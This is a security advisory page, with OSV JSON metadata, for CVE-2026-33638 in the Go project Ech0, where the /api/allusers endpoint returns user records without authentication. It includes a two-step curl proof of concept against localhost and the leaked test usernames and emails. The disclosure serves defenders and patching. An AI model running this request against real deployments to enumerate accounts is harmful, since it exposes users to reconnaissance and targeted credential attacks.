GHSA-M983-7426-5HRJ

Vulnerability from github – Published: 2026-03-24 22:25 – Updated: 2026-03-24 22:25
VLAI?
Summary
Ech0 authenticated user-list exposed data via public `/api/allusers` endpoint
Details

Summary

GET /api/allusers is mounted as a public endpoint and returns user records without authentication. This allows remote unauthenticated user enumeration and exposure of user profile metadata.

Details

The route is registered under public routes:

  • internal/router/user.go:17
  • appRouterGroup.PublicRouterGroup.GET("/allusers", h.UserHandler.GetAllUsers())

The handler itself is documented as requiring authentication:

  • internal/handler/user/user.go:177-185
  • API docs/annotations indicate auth requirement (@Security ApiKeyAuth).

PoC

1) Negative control: endpoint that should require auth

Request:

curl -i "http://localhost:6277/api/user"

Response:

HTTP/1.1 401 Unauthorized
Access-Control-Allow-Headers: *
Access-Control-Allow-Methods: POST, GET, OPTIONS, DELETE, PATCH, PUT
Access-Control-Expose-Headers: Content-Length, Access-Control-Allow-Origin, Access-Control-Allow-Headers, Content-Type
Cache-Control: no-store, no-cache, must-revalidate, proxy-revalidate, max-age=0
Content-Language: zh-CN
Content-Type: application/json; charset=utf-8
Expires: 0
Pragma: no-cache
Surrogate-Control: no-store
Date: Sun, 22 Mar 2026 07:21:22 GMT
Content-Length: 135

{"code":0,"msg":"未找到令牌,请点击右上角登录","error_code":"TOKEN_MISSING","message_key":"auth.token_missing","data":null}

2) Trigger: call public user-list endpoint without auth

Request:

curl -i "http://localhost:6277/api/allusers"

Response:

HTTP/1.1 200 OK
Access-Control-Allow-Headers: *
Access-Control-Allow-Methods: POST, GET, OPTIONS, DELETE, PATCH, PUT
Access-Control-Expose-Headers: Content-Length, Access-Control-Allow-Origin, Access-Control-Allow-Headers, Content-Type
Content-Language: zh-CN
Content-Type: application/json; charset=utf-8
Date: Sun, 22 Mar 2026 07:21:56 GMT
Content-Length: 912

{"code":1,"msg":"获取用户列表成功","data":[{"id":"019d144a-18fa-7db3-a2dd-310604210abd","username":"h1_poc_1774161893_1","email":"h1_poc_1774161893_1@example.com","is_admin":false,"is_owner":false,"avatar":"","locale":"zh-CN"},{"id":"019d144a-1904-7c0a-98ec-656079a82c64","username":"h1_poc_1774161893_2","email":"h1_poc_1774161893_2@example.com","is_admin":false,"is_owner":false,"avatar":"","locale":"zh-CN"},{"id":"019d144a-190b-70f8-89cb-4f8ab46cec9b","username":"h1_poc_1774161893_3","email":"h1_poc_1774161893_3@example.com","is_admin":false,"is_owner":false,"avatar":"","locale":"zh-CN"},{"id":"019d144a-e7dc-7cef-9395-4d0e392a5278","username":"alice","email":"alice@example.com","is_admin":false,"is_owner":false,"avatar":"","locale":"zh-CN"},{"id":"019d144a-e7e3-79f3-bb09-0ea758333a54","username":"bob","email":"bob@example.com","is_admin":false,"is_owner":false,"avatar":"","locale":"zh-CN"}]}

Impact

Vulnerability type: Access control bypass / unauthenticated data exposure.
Who is impacted: Any deployment exposing the API to untrusted networks, and all users whose profile metadata can be enumerated.
Business/security impact: Enables account reconnaissance and targeted credential attacks.

A fix is available at https://github.com/lin-snow/Ech0/releases/tag/v4.2.0.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/lin-snow/ech0"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.4.8-0.20260322121226-acbf1fd71011"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33638"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-24T22:25:03Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## Summary\n`GET /api/allusers` is mounted as a public endpoint and returns user records without authentication. This allows remote unauthenticated user enumeration and exposure of user profile metadata.\n\n## Details\nThe route is registered under public routes:\n\n- `internal/router/user.go:17`\n  - `appRouterGroup.PublicRouterGroup.GET(\"/allusers\", h.UserHandler.GetAllUsers())`\n\nThe handler itself is documented as requiring authentication:\n\n- `internal/handler/user/user.go:177-185`\n  - API docs/annotations indicate auth requirement (`@Security ApiKeyAuth`).\n\n## PoC\n\n### 1) Negative control: endpoint that should require auth\n\nRequest: \n```bash\ncurl -i \"http://localhost:6277/api/user\"\n```\n\nResponse:\n```bash\nHTTP/1.1 401 Unauthorized\nAccess-Control-Allow-Headers: *\nAccess-Control-Allow-Methods: POST, GET, OPTIONS, DELETE, PATCH, PUT\nAccess-Control-Expose-Headers: Content-Length, Access-Control-Allow-Origin, Access-Control-Allow-Headers, Content-Type\nCache-Control: no-store, no-cache, must-revalidate, proxy-revalidate, max-age=0\nContent-Language: zh-CN\nContent-Type: application/json; charset=utf-8\nExpires: 0\nPragma: no-cache\nSurrogate-Control: no-store\nDate: Sun, 22 Mar 2026 07:21:22 GMT\nContent-Length: 135\n\n{\"code\":0,\"msg\":\"\u672a\u627e\u5230\u4ee4\u724c,\u8bf7\u70b9\u51fb\u53f3\u4e0a\u89d2\u767b\u5f55\",\"error_code\":\"TOKEN_MISSING\",\"message_key\":\"auth.token_missing\",\"data\":null}\n```\n\n### 2) Trigger: call public user-list endpoint without auth\n\nRequest:\n```bash\ncurl -i \"http://localhost:6277/api/allusers\"\n```\n\nResponse:\n```bash\nHTTP/1.1 200 OK\nAccess-Control-Allow-Headers: *\nAccess-Control-Allow-Methods: POST, GET, OPTIONS, DELETE, PATCH, PUT\nAccess-Control-Expose-Headers: Content-Length, Access-Control-Allow-Origin, Access-Control-Allow-Headers, Content-Type\nContent-Language: zh-CN\nContent-Type: application/json; charset=utf-8\nDate: Sun, 22 Mar 2026 07:21:56 GMT\nContent-Length: 912\n\n{\"code\":1,\"msg\":\"\u83b7\u53d6\u7528\u6237\u5217\u8868\u6210\u529f\",\"data\":[{\"id\":\"019d144a-18fa-7db3-a2dd-310604210abd\",\"username\":\"h1_poc_1774161893_1\",\"email\":\"h1_poc_1774161893_1@example.com\",\"is_admin\":false,\"is_owner\":false,\"avatar\":\"\",\"locale\":\"zh-CN\"},{\"id\":\"019d144a-1904-7c0a-98ec-656079a82c64\",\"username\":\"h1_poc_1774161893_2\",\"email\":\"h1_poc_1774161893_2@example.com\",\"is_admin\":false,\"is_owner\":false,\"avatar\":\"\",\"locale\":\"zh-CN\"},{\"id\":\"019d144a-190b-70f8-89cb-4f8ab46cec9b\",\"username\":\"h1_poc_1774161893_3\",\"email\":\"h1_poc_1774161893_3@example.com\",\"is_admin\":false,\"is_owner\":false,\"avatar\":\"\",\"locale\":\"zh-CN\"},{\"id\":\"019d144a-e7dc-7cef-9395-4d0e392a5278\",\"username\":\"alice\",\"email\":\"alice@example.com\",\"is_admin\":false,\"is_owner\":false,\"avatar\":\"\",\"locale\":\"zh-CN\"},{\"id\":\"019d144a-e7e3-79f3-bb09-0ea758333a54\",\"username\":\"bob\",\"email\":\"bob@example.com\",\"is_admin\":false,\"is_owner\":false,\"avatar\":\"\",\"locale\":\"zh-CN\"}]}\n```\n\n## Impact\n**Vulnerability type:** Access control bypass / unauthenticated data exposure.  \n**Who is impacted:** Any deployment exposing the API to untrusted networks, and all users whose profile metadata can be enumerated.  \n**Business/security impact:** Enables account reconnaissance and targeted credential attacks.\n\nA fix is available at https://github.com/lin-snow/Ech0/releases/tag/v4.2.0.",
  "id": "GHSA-m983-7426-5hrj",
  "modified": "2026-03-24T22:25:03Z",
  "published": "2026-03-24T22:25:03Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/lin-snow/Ech0/security/advisories/GHSA-m983-7426-5hrj"
    },
    {
      "type": "WEB",
      "url": "https://github.com/lin-snow/Ech0/commit/acbf1fd71011e6b9e1e6a911128056a19862f681"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/lin-snow/Ech0"
    },
    {
      "type": "WEB",
      "url": "https://github.com/lin-snow/Ech0/releases/tag/v4.2.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Ech0  authenticated user-list exposed data via public `/api/allusers` endpoint  "
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Sightings

Author Source Type Date

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…